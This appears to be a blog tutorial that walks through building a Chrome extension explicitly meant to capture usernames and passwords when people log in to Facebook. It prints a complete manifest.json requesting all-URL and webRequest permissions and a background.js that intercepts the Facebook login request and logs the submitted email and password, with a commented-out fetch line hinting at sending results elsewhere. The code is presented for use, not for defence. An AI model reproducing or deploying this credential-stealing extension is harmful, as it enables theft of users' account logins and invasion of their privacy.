Google Chorme Extension is so fun for discovering

Most of the people use google chrome today.
So I want to show you how to create an Gooogle Chrome Extension to do something that you want.

This extension is used to capture the username and password when users login on Facebook page

So all what I get to do is below

Step1: Create  your own folder named your_extension

Step2: create a file named manifest.json

this file is used to describe all about your extension such as
Name
version
description
permission that your extension want to access like network, storage ....

Background script: Scripts run in background
Action page: html for display in your extension ....
Icon: Icon of your extension

........

manifest.json

{
"manifest_version": 2,
"name": "My Cool Extension",
"version": "0.1",
"description": " Demo extension",
"permissions": [
"activeTab",
"storage",
"<all_urls>",
"webRequest",
"webRequestBlocking"
],
"background": {
"scripts": [
"background.js"
],
"persistent": true
},
"browser_action": {
"default_icon": {
"128": "cool.png"
}
},
"icons": {
"128": "cool.png"
}
}

Explains: The above manifest.json

"permissions": [
"activeTab", // access tab of chrome, you can ignore it
"storage", // access storage to save any configs, you can ignore it
"<all_urls>", // access all urls in when you are searching
//on the address bar
"webRequest", // is used to access webResuest Api (as library)
"webRequestBlocking" // the same above
],

"background": { // declare background task
"scripts": [
"background.js" // this file to do something that you want
],
"persistent": true // i dont understand it :-D, but it is true
},


background.js
chrome.webRequest.onBeforeRequest.addListener(

function (details) {



if (details.url.includes("https://www.facebook.com/login/")) {

// console.log("------", details.url)

console.log("------", details.requestBody.formData.email)

console.log("------", details.requestBody.formData.pass)

// fetch('http://www.google.com').then(r => r.text()).then(result => {

// console.log(">>>>>>>> ",result);

// })

}







},

{ urls: ["<all_urls>"] },

['requestBody']);

you can search api webRequest to do more things that you want.

cool.png



Comments

Popular posts from this blog

Fixing the DeepSpeed Import Error While Fine-Tuning the Qwen Model

Amazon Linux 2023 - User data configuration for launch templates to connect to the EKS cluster

How to create ISM policy and rotate logs in opensearch